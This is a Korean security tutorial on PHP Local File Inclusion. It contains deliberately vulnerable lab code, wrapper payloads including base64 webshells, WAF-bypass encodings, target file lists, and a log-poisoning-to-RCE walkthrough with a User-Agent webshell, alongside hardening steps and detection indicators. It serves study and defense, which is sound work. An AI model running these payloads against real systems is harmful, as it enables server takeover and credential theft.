본문 바로가기
보안 기술/웹 & 시스템 해킹

Local File Inclusion (LFI)

💡 LFI (Local File Inclusion) 심층 분석 및 웹 인프라 보안 실무 가이드 (Master Spec)

📌 핵심 요약 (TL;DR)

  • 본질: 웹 애플리케이션(주로 PHP)이 외부 사용자 입력값을 검증 없이 include(), require() 등의 파일 참조 함수에 동적으로 전달할 때 발생하는 서버 측(Server-Side) 핵심 취약점임.
  • 위협 및 목적: 단순한 경로 탐색(Directory Traversal)을 넘어, 해커가 서버 내부의 민감한 파일(/etc/passwd, C:\Windows\win.ini, 설정 파일 소스코드)을 읽어내고, 최종적으로 로그 포이즈닝(Log Poisoning)이나 세션 오염을 통해 원격 코드 실행(RCE)으로 시스템 권한을 찬탈하는 브릿지 벡터로 악용됨.
  • 대응 방안: 사용자 입력값을 절대 직접 파일 경로로 사용하지 말고 화이트리스트(Whitelist) 기반의 매핑 로직을 구현해야 하며, php.ini에서 open_basedir 샌드박싱과 disable_functions 커맨드 차단을 강제 인포싱해야 함.


📑 목차 (Table of Contents)


⚠️ 면책 조항 (Disclaimer)
본 포스팅의 보안/해킹 관련 실습은 허가된 통제 환경(개인 VM 및 합법적 모의해킹 계약 범위)에서만 수행됨.
허가되지 않은 타인의 시스템에 대한 무단 접근 및 페이로드 주입 시도는 「정보통신망 이용촉진 및 정보보호 등에 관한 법률」 제48조 위반으로 형사처벌 대상임.
모든 분석은 벤더사 공식 레퍼런스 및 NVD 공인 데이터를 기반으로 작성됨.

📖 학습 목적: 보안 취약점의 동작 원리를 이해하고 방어 전략을 수립하기 위한 학습 및 지식 공유 목적임. 모든 실습은 허가된 통제 환경에서만 진행함.


자주 등장하는 용어 (초보자 참고)

약어 전체 명칭 한 줄 설명
LFI Local File Inclusion 서버 내부에 이미 존재하는 로컬 파일을 사용자의 조작된 경로 입력값을 통해 강제로 실행 및 렌더링하는 취약점임
RFI Remote File Inclusion LFI와 유사하나, 공격자의 외부 C2 서버에 있는 악성 스크립트를 타겟 서버가 다운로드하여 실행하게 만드는 더 치명적인 기법임
Directory Traversal 경로 탐색 ../ (Dot-Dot-Slash) 시퀀스를 사용하여 웹 루트 디렉터리를 벗어나 상위 OS 파일 시스템으로 역주행하는 기법임
Wrapper PHP Wrapper URL 스타일의 프로토콜 체계를 사용하여 다양한 스트림(I/O, 압축, 필터) 데이터에 접근할 수 있게 해주는 PHP 코어 인터페이스임
Log Poisoning 로그 오염 웹 서버 로그(access.log)나 SSH 로그에 악성 PHP 코드를 남긴 뒤, LFI로 해당 로그 파일을 인클루드하여 코드를 실행(RCE)하는 기법임
Session Poisoning 세션 오염 쿠키(PHPSESSID) 값을 조작하여 악성 코드를 서버 물리 세션 파일에 저장한 후 이를 LFI로 호출하는 인 메모리/파일 혼합 공격임
Environ /proc/self/environ 현재 실행 중인 프로세스의 환경 변수를 담은 가상 파일로, User-Agent를 통해 악성 코드를 밀어넣어 RCE를 유발하는 주요 타겟임
open_basedir - PHP 스크립트가 접근할 수 있는 파일 시스템 경로를 특정 디렉터리로 엄격하게 제한하는 강력한 보안 샌드박스 설정임

1. 🏗️ 아키텍처 및 랩(Lab) 토폴로지

  • 난이도: 고급
  • 주제 분류: 웹 애플리케이션 취약점 / L7 익스플로잇 / 모의해킹
  • 핵심 키워드: #LFI #RCE #LogPoisoning #PHP_Wrapper #웹해킹
  • 사전 지식: PHP 파일 인클루드 아키텍처, Linux/Windows 파일 시스템, HTTP 헤더 조작, L7 라우팅 구조

(💡 모바일 환경에서는 표를 좌우로 스크롤하여 상세 내용을 확인 권장함.)

구분 OS / 플랫폼 (버전 필수) 컨테이너 / 네트워크 환경 IP 대역 인프라 내 역할
공격 (Red) Kali Linux 2026.x 네이티브 모의 공격망 10.0.0.50/24 Burp Suite, ffuf, LFISuite를 활용하여 경로 탐색 페이로드를 사출하고 RCE 쉘을 확보하는 노드임
타겟 (Target) Ubuntu 24.04 / Nginx / PHP-FPM 8.x 온프레미스 웹 서버망 10.0.0.100/24 ?page=user 형태로 뷰를 렌더링하는 구조적 결함을 가진 취약한 PHP 웹 서비스 서버임
방어 (Blue) Graylog 5.x / ModSecurity 온프레미스 망분리 WAF 10.0.0.200/24 LFI 시그니처(../, php://)를 WAF에서 차단하고 엑세스 로그 내 오염 시도를 중앙 관제함

아키텍처 통신 흐름도 (LFI to RCE 킬체인 워크플로우)

[공격자 / Attacker : 10.0.0.50]                 [타겟 서버 PHP : 10.0.0.100]
          |                                              |
          |-- (1) 정찰: URL 파라미터(?page=) 식별 및 LFI 취약점 검증 ->|
          |<- (2) 응답: /etc/passwd 내용 반환 (LFI 확증) --------|
          |                                              |
          |-- (3) 오염: User-Agent에 PHP 웹쉘 코드 담아 HTTP 요청 ->|
          |<- (4) 파싱: Nginx access.log에 악성 PHP 코드가 평문 기록됨 -|
          |                                              |
          |-- (5) 실행: LFI를 통해 access.log 파일 경로를 include() 함 ->|
          |<- (6) 장악: 로그 안의 PHP 코드가 서버에서 실행되어 RCE 달성 -|

2. 🧠 핵심 개념 및 기술적 정의

2-1. 상세 정의 및 동작 메커니즘

  • 정의: 애플리케이션 코드가 외부 입력값을 검증 파이프라인 없이 서버 측 파일 시스템 API(include, require, fopen, file_get_contents)의 인자(Argument)로 직접 던져넣을 때 발생하는 심각한 논리적 취약점임.
  • 탄생 배경: 웹 프레임워크가 발전하기 전, 여러 페이지에서 공통으로 사용되는 헤더(Header)나 푸터(Footer)를 동적으로 불러오기 위해 템플릿 엔진 대신 include($_GET['page']) 형태의 하드코딩 구조를 남발하면서 발생한 레거시 패러다임의 산물임.
  • Directory Traversal과의 차이점: Directory Traversal(경로 탐색)은 타겟 파일을 단순히 '읽어오는(Read)' 것에 그치지만, LFI는 대상 파일에 PHP와 같은 실행 코드가 포함되어 있다면 이를 파싱하여 서버 메모리에서 '실행(Execute)'해 버린다는 점에서 권한 탈취(RCE) 파급력이 압도적으로 높음.
  • 메커니즘 (코드 레벨 아키텍처):
    • 개발자가 &lt;?php include($_GET['file'] . '.php'); ?&gt; 로직을 작성함.
    • 정상 사용자는 ?file=about 을 보내 about.php를 렌더링 받음.
    • 해커는 ?file=php://filter/convert.base64-encode/resource=config 를 전송함.
    • PHP 커널은 확장자 렌더링 제한을 필터 체인으로 우회당하고 config.php 소스코드를 Base64로 인코딩하여 화면에 덤프(유출)함.

2-2. MITRE ATT&CK & Kill Chain 매핑

Kill Chain Phase MITRE Tactic (전술) Technique (기법) ID
Reconnaissance Discovery File and Directory Discovery T1083
Exploitation Initial Access Exploit Public-Facing Application (LFI) T1190
Exploitation Execution Command and Scripting Interpreter T1059
Exploitation Defense Evasion Indicator Removal on Host (Log Tampering) T1070.002
Actions on Objectives Credential Access Credentials from Password Stores (/etc/shadow) T1555

3. ⚙️ 주요 특징 및 통신 규격 (전수 명세)

3-1. 기술적 핵심 특징 (8대 요소)

  • 특징 1 — PHP Wrapper 확장성: LFI는 단순 파일 경로를 넘어, PHP 코어가 제공하는 강력한 내장 스트림 래퍼(php://, data://, expect://)를 호출하여 프로토콜 단위의 페이로드 변환 및 실행을 유도함.
  • 특징 2 — 코드 실행(RCE)의 교두보: 서버 내부에 업로드된 이미지 파일(웹쉘이 은닉된 JPG), 세션 파일(/var/lib/php/sessions/), 또는 시스템 로그 파일에 코드를 주입하고 이를 LFI로 호출하여 100% RCE로 에스컬레이션(Escalation)함.
  • 특징 3 — 필터 회피 메커니즘: 개발자가 ../ 문자열을 str_replace()로 공백 치환하더라도, ....// 이나 %2e%2e%2f (URL 인코딩) 기법을 통해 WAF 및 필터링 정규식을 우회하는 다형성(Polymorphism)을 지님.
  • 특징 4 — 소스코드 평문 탈취: PHP 파일은 웹 서버에서 실행된 결과(HTML)만 반환하지만, php://filter/read=convert.base64-encode 래퍼를 사용하면 서버 측 로직이 담긴 원본 DB 연결 패스워드 등을 Base64 문자열로 고스란히 탈취함.
  • 특징 5 — Null Byte (%00) 절단: PHP 5.3.4 이전 레거시 환경에서는 입력값 뒤에 억지로 붙는 확장자(.php)를 무력화하기 위해 문자열 끝을 알리는 널 바이트를 인젝션하여 원하는 파일 확장자로 강제 매핑함.
  • 특징 6 — 멀티 플랫폼 타겟팅: 리눅스 환경의 /etc/passwd 뿐만 아니라, Windows IIS/Apache 환경에서도 ..\..\Windows\win.ini 와 같은 역슬래시 백트래킹을 통해 OS 종속성 없이 인프라를 관통함.
  • 특징 7 — 환경 변수 및 세션 포이즈닝: /proc/self/environ 가상 파일이나 사용자 쿠키에 연동된 /var/lib/php/sessions/sess_XXX 파일을 오염시켜, 파일 업로드 기능이 없어도 웹쉘을 꽂아 넣음.
  • 특징 8 — Phar (PHP Archive) 역직렬화: phar:// 래퍼를 악용하면 단순히 파일을 포함하는 것을 넘어, PHP Object Injection(역직렬화 취약점) 트리거로 연계하여 객체 지향 수준의 심층 침해를 달성함.

3-2. 실무 관점 장단점 (Pros & Cons 전수 명세)

구분 시스템 관점 특성 보안 및 실무 관점의 트레이드오프
장점 1 모듈화된 뷰(View) 관리 레거시 환경에서 헤더, 푸터, 네비게이션 바를 모듈화하여 include() 하나로 수천 개 페이지의 UI를 일괄 업데이트함
장점 2 동적 라우팅 편의성 Front Controller 패턴 없이 index.php?page=view 형태로 직관적인 L7 라우팅 구조를 짤 수 있음
장점 3 PHP 네이티브 지원 별도의 라우팅 라이브러리나 템플릿 엔진(Twig, Blade)을 설치할 필요 없이 순수 PHP 코어 함수만으로 동작함
단점 1 원격 코드 실행(RCE) 직행 웹 취약점 중에서도 시스템 쉘을 직접 따낼 수 있는 가장 파괴적인 Critical (CVSS 9.8) 결함임
단점 2 블랙리스트 필터링의 무용지물 ../를 막으면 ..././로 우회하고, .php를 막으면 zip:// 래퍼로 우회하는 등 필터 체인 회피 기법이 무한에 가까움
단점 3 시스템 아키텍처 정보 노출 /etc/passwd뿐만 아니라 Nginx 환경 설정 파일, 커널 버전을 덤프하여 후속 익스플로잇의 정밀 지도를 그림
단점 4 서드파티 로그와의 치명적 연계 웹 로그뿐만 아니라 FTP 로그, SSH Auth 로그 등 시스템 내 '해커가 입력할 수 있는 모든 텍스트 영역'이 RCE 트리거 지뢰로 돌변함
단점 5 권한 격리(Chroot) 부재 시 파국 open_basedir 설정이 없으면 아파치 프로세스 권한(www-data)으로 서버의 최상위 루트 디렉터리(/) 전체가 관통당함

4. 🛠️ 인프라 셋업 및 구축 명세

4-1. 사전 요구 사항 (Dependencies)

  • 공격/클라이언트 환경: Kali Linux, Burp Suite Professional/Community
  • 타겟 서버 환경: Ubuntu 24.04 LTS, Nginx, PHP-FPM (취약한 소스코드 포함)
  • 네트워크 룰셋: 공격자와 타겟 간 80 포트 오픈.

4-2. 시스템 구축 및 보안 하드닝 (취약한 환경 및 패치 Step-by-Step)

# [Step 1: Nginx 및 PHP-FPM 런타임 환경 패키지 인스톨]
sudo apt update && sudo apt install -y nginx php-fpm

# [Step 2: LFI 취약점을 가진 레거시 PHP 애플리케이션 생성]
sudo mkdir -p /var/www/html/vulnerable
sudo bash -c 'cat &lt;&lt;EOF &gt; /var/www/html/vulnerable/index.php
&lt;?php
    session_start();
    $file = $_GET["page"];
    // [⚠️ 치명적 취약점] 외부 입력값에 대해 어떤 샌드박싱이나 화이트리스트 검증도 수행하지 않음
    if(isset($file)) {
        include($file); 
    } else {
        echo "Welcome. Please specify a ?page parameter.";
    }
?&gt;
EOF'

# [Step 3: Nginx Server Block 라우팅 설정]
sudo bash -c 'cat &lt;&lt;EOF &gt; /etc/nginx/sites-available/lfi_lab
server {
    listen 80;
    root /var/www/html/vulnerable;
    index index.php;

    location ~ \.php$ {
        include snippets/fastcgi-php.conf;
        fastcgi_pass unix:/var/run/php/php8.3-fpm.sock;
    }
}
EOF'
sudo ln -s /etc/nginx/sites-available/lfi_lab /etc/nginx/sites-enabled/
sudo systemctl reload nginx

# [Step 4: 방어자 관점의 PHP Hardening (php.ini 튜닝 조치)]
# 해커가 RFI 및 필터 래퍼를 쓰지 못하도록 커널 수준의 옵션을 셧다운해야 함
sudo sed -i 's/allow_url_include = On/allow_url_include = Off/g' /etc/php/8.3/fpm/php.ini
# 웹 루트 외부(예: /etc)로의 경로 탐색을 물리적으로 격리(Chroot)함
sudo sed -i 's/;open_basedir =/open_basedir = \/var\/www\/html\//g' /etc/php/8.3/fpm/php.ini
# 시스템 탈취를 막기 위해 위험한 OS 커맨드 실행 함수들을 원천 무력화함
sudo sed -i 's/disable_functions =/disable_functions = system,exec,shell_exec,passthru,popen,proc_open/g' /etc/php/8.3/fpm/php.ini
sudo systemctl restart php8.3-fpm

5. 📖 상세 명세 (PHP Wrapper 및 페이로드 전수 목록)

5-1. 핵심 PHP Wrapper 명세 (Exploit Vector)

(LFI 취약점이 식별되었을 때, 공격자가 런타임 통제권을 장악하기 위해 사용하는 특수 스트림 프로토콜 체인 전수 명세임.)

Wrapper 프로토콜 동작 원리 및 익스플로잇 목적 설명 완전한 LFI 페이로드 사용 예시
php://filter 파일의 내용을 포함(Include)하기 전에 인코딩/디코딩 필터를 거치게 하여, 서버에서 코드가 실행되는 것을 막고 소스코드를 평문 덤프(유출)시킴 ?page=php://filter/read=convert.base64-encode/resource=db_config.php
php://input POST 요청 바디(Body)에 담긴 원시 데이터를 실시간으로 읽어들여 런타임에 인클루드 실행함 (단, allow_url_include=On 필수) ?page=php://input (POST 바디: &lt;?php system("id"); ?&gt;)
data:// 외부 파일 참조 없이, URI 자체에 Base64로 인코딩된 PHP 웹쉘 코드를 때려 박아 인 메모리(In-memory) RCE를 즉각 유발함 ?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ID8+&cmd=id
expect:// 문자열을 운영체제(OS) 쉘 커맨드로 직접 실행하고 출력을 반환하는 가장 치명적인 래퍼임 (PECL 모듈 설치 환경에서만 동작) ?page=expect://ls -la
zip:// 사용자가 업로드한 압축 파일(Zip) 내부의 특정 파일을 절대 경로로 지정하여 인클루드 압축 해제 및 실행함 (#%23으로 인코딩) ?page=zip:///var/www/uploads/shell.zip%23shell.php
phar:// 확장자를 속여 업로드한 이미지 파일(실제론 phar 아카이브)을 객체 역직렬화 메커니즘으로 로딩하여 POP Chain RCE를 사출함 ?page=phar:///var/www/uploads/avatar.jpg/shell
dict:// DICT 프로토콜을 이용해 특정 포트로 임의의 문자열을 쏘아 내부망 SSRF 포트 스캐닝에 결합 악용함 ?page=dict://127.0.0.1:6379/info

5-2. LFI 타겟팅 핵심 파일 딕셔너리 (OS별 페이로드 명세)

(공격자가 경로 탐색을 성공한 후, 실질적으로 읽어내거나 오염시키기 위해 찔러보는 타겟 파일 목록임.)

Linux 시스템 주요 타겟

타겟 파일 경로 탈취 목적 및 익스플로잇 연계 방법
/etc/passwd 리눅스 계정 목록을 확인하고, LFI가 실제로 동작하는지 검증하는 가장 기본적인 PoC 타겟임
/etc/shadow root 권한으로 웹 데몬이 돌고 있을 경우, 해시된 비밀번호를 탈취하여 오프라인 크래킹(John the Ripper)을 시도함
/proc/self/environ 현재 프로세스의 환경 변수 덤프. 공격자가 User-Agent에 악성 쉘코드를 넣고 이 파일을 인클루드하여 RCE를 터뜨림
/proc/self/cmdline 실행 중인 웹 서버 프로세스의 커맨드라인 아규먼트를 덤프하여 데몬 시작 파라미터를 스니핑함
/var/log/nginx/access.log Nginx 웹 로그 파일. User-Agent 포이즈닝 후 호출하여 Log Poisoning RCE를 달성하는 핵심 숙주임
/var/lib/php/sessions/sess_* PHP 세션이 저장되는 물리적 텍스트 파일. Session Poisoning 기법을 통해 내부의 악성 코드를 실행시킴

Windows 시스템 주요 타겟

타겟 파일 경로 탈취 목적 및 익스플로잇 연계 방법
C:\Windows\win.ini Windows 환경에서 LFI 경로 탐색이 성공했는지 입증하기 위한 기본 PoC 타겟 파일임 (boot.ini 등도 사용됨)
C:\Windows\System32\drivers\etc\hosts 내부망 호스트네임 매핑 정보를 탈취하여 2차 SSRF 타격의 정찰 맵으로 활용함
C:\xampp\apache\logs\access.log XAMPP 환경에서 기본으로 쌓이는 아파치 로그 파일로, 윈도우 환경 Log Poisoning의 핵심 타겟임

5-3. LFI 필터 및 WAF 우회(Bypass) 제어 플래그 명세

우회 플래그 / 기법 동작 원리 및 공식 문서 기반 설명 실전 페이로드 예시
Path Truncation (경로 절단) 커널 API가 처리할 수 있는 최대 파일 경로 길이(예: 4096바이트)를 초과하도록 /. 기호를 무한 반복하여 뒤에 붙는 확장자를 강제 절삭함 ?page=../../../etc/passwd/././././[반복]..././
Null Byte Injection (%00) PHP 5.3.4 이전 버전에서 문자열 처리가 C언어 \0 로직을 따르는 맹점을 악용, %00을 주입하여 뒤쪽 코드를 무시함 ?page=../../../etc/passwd%00
Double URL Encoding WAF가 %2e%2e%2f (../)를 1차 디코딩하여 차단할 때, 이를 두 번 인코딩(%252e%252e%252f)하여 방화벽 파서를 기만 통과함 ?page=%252e%252e%252fetc%252fpasswd
16-bit Unicode Encoding 비표준 유니코드 형식으로 ../를 인코딩하여 허술한 정규식(Regex) 필터망을 회피함 ?page=..%c0%af..%c0%afetc/passwd
Filter Strip Bypass 개발자가 str_replace('../', '', $input)로 필터를 짰을 때, 교묘하게 겹쳐 적어 치환 후 정상적인 ../가 되도록 붕괴시킴 ?page=....//....//etc/passwd
Base64 Nested Filters php://filter 체인에 불필요한 인코딩/디코딩 과정을 여러 번 중첩하여 IPS(침입 방지 시스템)의 시그니처 딥 인스펙션을 회피함 ?page=php://filter/read=string.rot13/convert.base64-encode/resource=index.php

5-4. 비대화형 정찰 및 익스플로잇 도구 (Offensive Tooling)

명령어 (Tool) 파싱 메커니즘 및 런타임 결과 완전한 실전 사용 예시
LFISuite Python 기반의 자동화 프레임워크로, 수천 개의 LFI 페이로드 및 필터 우회 패턴을 스캐닝하고 리버스 쉘 사출까지 일괄 폭격함 python lfisuite.py -u "http://10.0.0.100/?page="
ffuf 극강의 속도를 자랑하는 Go 기반 퍼저로, LFI 딕셔너리(SecLists)를 활용하여 /etc/passwd 문자열 렌더링 응답을 매칭 발굴함 ffuf -w lfi_payloads.txt -u "http://10.0.0.100/?page=FUZZ" -mr "root:x:0:0"
Kadimus LFI 전문 익스플로잇 툴로, SSH / Apache 로그 포이즈닝 모듈을 내장하여 단일 클릭으로 RCE 쉘을 반환함 kadimus -u "http://10.0.0.100/?page=" -O ssh_poisoning

5-5. 프로토콜 응답 상태 코드 (LFI 관점의 HTTP 에러 및 워닝 전수 명세)

(공격자가 LFI 페이로드를 던졌을 때 서버가 응답하는 상태 코드와 에러 텍스트의 보안적 지표임.)

상태 코드 (HTTP Code) / PHP Error 응답 사유 및 통신 양상 보안 방어 관점의 탐지 및 에러 해결 의미
200 OK (단, 레이아웃 깨짐) 타겟 파일(예: /etc/passwd)이 성공적으로 include 되어 정상 페이지 레이아웃 상단이나 하단에 데이터가 노출됨 공격이 100% 성공한 치명적 상태로, 민감 정보 유출 및 RCE가 임박했음을 시사함
Warning: include(...): failed to open stream 대상 파일이나 경로가 물리적으로 존재하지 않아 PHP 커널에서 경고 메시지를 덤프함 서버의 로컬 절대 경로(Full Path Disclosure)가 에러 텍스트에 노출되어 해커에게 정찰 지도를 제공해버림
Fatal error: require(): Failed opening required include()가 아닌 require() 함수가 쓰였으며, 파일을 찾지 못해 애플리케이션 스크립트 실행이 완전히 중지됨 취약점은 존재하나 타겟 파일 딕셔너리 퍼징이 실패하고 있음을 나타내는 헌팅 지표임
403 Forbidden / open_basedir restriction in effect PHP 커널 보안 샌드박스 설정(open_basedir)이 작동하여, 지정된 웹 루트 경로를 벗어나려는 ../ 시도를 물리적으로 차단함 방어 아키텍처가 정상 가동 중이며, 공격자는 이를 뚫기 위해 VHost나 심볼릭 링크(Symlink) 맹점을 찾아 선회할 것임
URL file-access is disabled in the server configuration 해커가 http://evil.com/shell.txt (RFI)를 인클루드 하려 했으나 allow_url_include=Off 세팅에 의해 커널 블락됨 RFI 공격은 원천 차단되었으나, 로컬 파일(LFI) 취약점은 여전히 남아 로그 포이즈닝으로 선회 타격할 여지가 있음

5-6. DFIR: 로그 및 트래픽 탐지 포인트 (블루팀 헌팅 지표)

  • 경로 탐색 횡단 헌팅: Nginx access.log — URI 파라미터 필드(?page=)에 반복적인 ../ (점점슬래시) 시퀀스나 %2e%2e%2f 인코딩 문자열이 초당 수십 건 기록되는지 SIEM 정규식으로 코릴레이션(Correlation) 분석함.
  • Log Poisoning RCE 탐지: /var/log/auth.log (SSH 인증 로그) — SSH 포트(22)로 로그인 시도 시 User 필드에 시스템 계정명 대신 &lt;?php system($_GET['cmd']); ?&gt; 와 같은 악성 쉘코드가 평문 스크래핑되어 쌓여 있는지 무결성 검증함.
  • PHP Wrapper 비정상 호출: WAF (ModSecurity) 알람 — L7 페이로드의 쿼리 스트링에 php://filter, php://input, data:// 등 합법적 유저가 절대 호출하지 않는 개발자 레벨의 래퍼 프로토콜이 주입되는 즉시 Drop 조치함.

원시 로그(Raw Log) 및 패킷 캡처 덤프

# [File: /var/log/nginx/access.log — SIEM 인입 원시 로그 (LFI 퍼징 및 로그 포이즈닝 헌팅 흔적)]
10.0.0.50 - - [11/May/2026:23:45:10 +0900] "GET /index.php?page=../../../../../etc/passwd HTTP/1.1" 200 1024 "-" "BurpSuite"
10.0.0.50 - - [11/May/2026:23:46:15 +0900] "GET /index.php HTTP/1.1" 200 500 "-" "<?php system('id'); ?>"  # [💡 User-Agent 로그 오염 흔적]

# [File: Suricata NIDS Alert — PHP Wrapper(Filter) 데이터 유출 시도 탐지]
05/11/2026-23:46:10.123  [**] [1:2010939:3] ET WEB_SERVER Suspicious PHP Filter Wrapper Use (convert.base64) [**] {TCP} 10.0.0.50:54321 -> 10.0.0.100:80

6. 🚀 핵심 페이로드 치트시트 (Cheat Sheet)

페이로드 (One-Liner) 파싱 메커니즘 및 런타임 결과 목적 / 우회 기법
?page=../../../../../../etc/passwd 리눅스 최상위 디렉터리(/)까지 뚫고 올라가 로컬 유저 계정 정보를 화면에 무단 렌더링함 타겟 시스템의 LFI 취약점 존재 여부를 가장 빠르고 명확하게 검증하는 PoC 표준 사격임
?page=..\..\..\..\..\..\Windows\win.ini Windows 시스템의 최상위 드라이브(C:\)까지 뚫고 올라가 시스템 초기화 설정 파일을 화면에 무단 렌더링함 IIS 서버 기반 환경에서 LFI 취약점을 증명하기 위한 윈도우 전용 경로 횡단 타격임
?page=php://filter/read=convert.base64-encode/resource=config.php 서버가 config.php를 파싱하여 실행하기 직전에 Base64로 묶어버려 HTML 응답에 난독화 평문으로 덤프시킴 DB 자격증명(ID/PW)이나 클라우드 API Key가 하드코딩된 서버 설정 파일을 디코딩 탈취할 때 씀
?page=data://text/plain;base64,PD9waHAgaW5mbygpOyA/Pg== 서버 디스크에 파일을 쓰지 않고 Base64로 인코딩된 &lt;?php info(); ?&gt; 코드를 메모리에서 즉각 실행함 파일 업로드 우회나 WAF 파일 검사를 무력화하고 인메모리 런타임 권한을 찬탈할 때 씀
?page=expect://id PHP expect 모듈의 커맨드 사출 기능을 트리거하여 id 명령어를 운영체제 쉘(Bash)에 직접 던져 반환받음 중간 단계(웹쉘, 로그 포이즈닝)를 전부 생략하고 최단 루트로 커널 OS 쉘(RCE)을 탈취할 때 씀

7. 🎯 심층 킬체인 워크플로우 (Deep Dive)

7-1. 취약점 식별 (CVE / CWE 전수 명세)

식별 코드 취약점 명칭 및 익스플로잇 원리 CVSS v3.1 파급력 (Impact) 대응/패치
CWE-98 Improper Control of Filename for Include/Require Statement in PHP — 외부 사용자가 입력한 데이터 검증 없이 PHP 파일 인클루드 함수를 동적으로 호출하여 서버 내부 로직이 관통당하는 LFI/RFI 구조적 결함임 8.1 ~ 9.8 소스코드 및 중요 환경 변수 평문 유출은 기본이며, 로그 포이즈닝을 연계할 경우 100% 서버 시스템 장악(RCE)으로 에스컬레이션됨 사용자 입력값을 파일 경로로 맵핑하는 딕셔너리 화이트리스트(switch 문 등)를 하드코딩하고, allow_url_include를 셧다운함
CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')../ 시퀀스 필터링 부재로 인해, 지정된 웹 루트를 벗어나 시스템 커널의 최상위 트리(/etc, /var/log)까지 거침없이 탐색하는 근본 원인임 7.5 (High) 해커가 access.log나 SSH Auth 로그의 절대 경로를 찾아내어 악성 페이로드(PHP 태그)를 렌더링시킬 표적 좌표를 획득함 Nginx 설정 및 open_basedir를 통해 PHP 프로세스의 파일 시스템 가시거리를 /var/www/html 하위로 영구 격리(Chroot)함
CVE-2018-19518 PHP imap_open() RCE via LFI — PHP의 IMAP 확장이 사용자 입력값을 OS 쉘 커맨드로 전달할 때 우회 필터링이 누락되어, LFI를 통해 imap 함수 호출 부를 자극하면 RCE가 터지는 CVE임 9.8 (Critical) 단순 LFI 취약점이 로그 오염 없이도 서버 내부 컴포넌트(IMAP) 결함과 연계되어 단 한 번의 요청으로 쉘을 뽑아냄 PHP 버전을 최신으로 올리고 시스템 패키지에서 IMAP 확장을 커널 모듈 단위에서 영구 삭제함

Vulnerability Deep Dive #1: LFI to Log Poisoning RCE

  • 연관 식별자: CWE-98 / MITRE T1059
  • 발생 원인 (Root Cause): 서버는 접속자의 User-AgentReferer 헤더를 검증 없이 웹 서버 액세스 로그(access.log)나 에러 로그(error.log) 파일에 문자열 그대로 기록(Write)함. 만약 해커가 헤더 값에 PHP 실행 태그(&lt;?php ... ?&gt;)를 담아 보내면 로그 파일 내부에 악성 코드가 각인됨. 이후 LFI 취약점을 통해 해당 로그 파일의 절대 경로(/var/log/nginx/access.log)를 include() 시켜버리면, PHP 엔진은 로그 파일 전체를 텍스트가 아닌 'PHP 스크립트'로 파싱하여 내부의 악성 코드를 커널 메모리에서 실행(RCE)해 버림.
  • 공격 성립 조건: 1) 타겟에 LFI 취약점(include())이 존재해야 함. 2) 웹 서버 로그 파일의 절대 경로를 해커가 알아야 함. 3) 웹 데몬 권한(www-data)이 해당 로그 파일을 읽을 수 있는 권한(Read Permission)이 부여되어 있어야 함.
  • 파급력 (Impact): 파일 업로드 게시판이나 취약한 플러그인이 전혀 없어도, 순수 HTTP 트래픽 하나만으로 타겟 시스템을 완벽하게 해킹(RCE)하여 웹쉘(Web Shell) 백도어를 박아버리는 극단적 파괴력을 지님.

7-2. 킬체인 전개 스텝 분석

  • 난이도: 중급 (L7 페이로드 조작 및 LFI 에스컬레이션 메커니즘 이해 요구)
  • 전제: 타겟 망분리 웹 서버(10.0.0.100)는 LFI 취약한 index.php?page= 라우터를 노출 중이며, 공격자는 Burp Suite 프록시를 통해 헤더를 100% 통제 가능한 상태임.
  • 탐지 가능성: Medium (단순 ../ 정찰은 WAF에 잡히기 쉬우나, User-Agent 로그 오염 및 인클루드는 SIEM 룰셋이 촘촘하지 않으면 합법적 트래픽으로 패싱됨).
Phase 1 — LFI 취약점 검증 및 경로 정찰 (Reconnaissance)

📖 Phase 1에서 배우는 것: 입력 파라미터가 파일 시스템을 직접 참조하는지 식별하고, 디렉터리 횡단(../) 시퀀스로 서버의 로컬 패스워드 파일을 찔러 취약점을 100% 확증함.

# 1. 공격자가 타겟 서버 URL의 취약한 파라미터에 딥 트래버설 페이로드를 사출함
GET /index.php?page=../../../../../../etc/passwd HTTP/1.1
Host: 10.0.0.100

# 2. 결과 분석: 응답 바디(Body)에 root:x:0:0:root:/root:/bin/bash 문자열이 덤프되면 LFI 취약점이 공식적으로 터진 것임.
Phase 2 — Log Poisoning (User-Agent 변조 쉘코드 삽입)

📖 Phase 2에서 배우는 것: 단순 정보 유출을 넘어 RCE를 획득하기 위해, Burp Suite 프록시로 HTTP 패킷을 낚아채어 서버의 access.log 파일 내부에 1줄짜리 웹쉘 코드를 물리적으로 심어 넣음.

# 1. Burp Repeater를 이용해 정상적인 요청을 날리되, User-Agent 필드에 악성 PHP 코드를 하드코딩하여 쏨
GET / HTTP/1.1
Host: 10.0.0.100
User-Agent: <?php system($_GET['cmd']); ?>

# 2. 동작 검증: 서버의 Nginx 로깅 로직은 이 헤더를 문자열로 취급하여 `/var/log/nginx/access.log` 파일의 최하단에 [<?php system($_GET['cmd']); ?>] 텍스트를 고스란히 각인(Write)시킴.
Phase 3 — LFI 기반 로그 호출 및 쉘 권한 획득 (Post-Exploitation)

📖 Phase 3에서 배우는 것: 악성 코드가 각인된 액세스 로그 파일을 LFI 취약점을 통해 강제 인클루드(include())시켜 PHP 파서가 이를 실행하게 만들고, 커널 OS 명령(cmd)을 획득함.

# 1. 취약한 page 파라미터에 오염된 로그 파일 절대 경로를 던지고, 웹쉘 제어 파라미터(&cmd=id)를 연계 사출함
curl "[http://10.0.0.100/index.php?page=../../../../../var/log/nginx/access.log&cmd=whoami](http://10.0.0.100/index.php?page=../../../../../var/log/nginx/access.log&cmd=whoami)"

# 2. 결과 검증: 웹 브라우저에 로그 파일의 지저분한 텍스트들이 쏟아지는 와중에, 우리가 심은 PHP 태그 부분이 해석되어 OS 쉘 출력값인 `www-data` 권한 명세가 렌더링 반환됨 (RCE 달성 완수).

8. ⚔️ 실전 심화 시나리오 — 학습용 실습 (Lab Scenarios)

📘 Scenario A: PHP Session Poisoning을 악용한 RCE 에스컬레이션

  • 학습 목표: 파일 업로드도 불가능하고, 웹 서버 로그 접근 권한도 root로 옥죄어져 로그 포이즈닝이 막힌 상황에서, 해커가 쿠키와 세션 변수를 교묘하게 조작하여 서버의 물리적 세션 파일을 오염시키고 이를 LFI로 뚫어내는 최고 난도의 킬체인을 달성함.
  • 전제 조건: 타겟 웹 사이트(10.0.0.100)는 언어(Language) 설정 등을 세션($_SESSION['lang'])에 저장하는 기능이 있으며, sess_XXX 파일이 기본 저장소인 /var/lib/php/sessions/에 평문으로 저장됨.
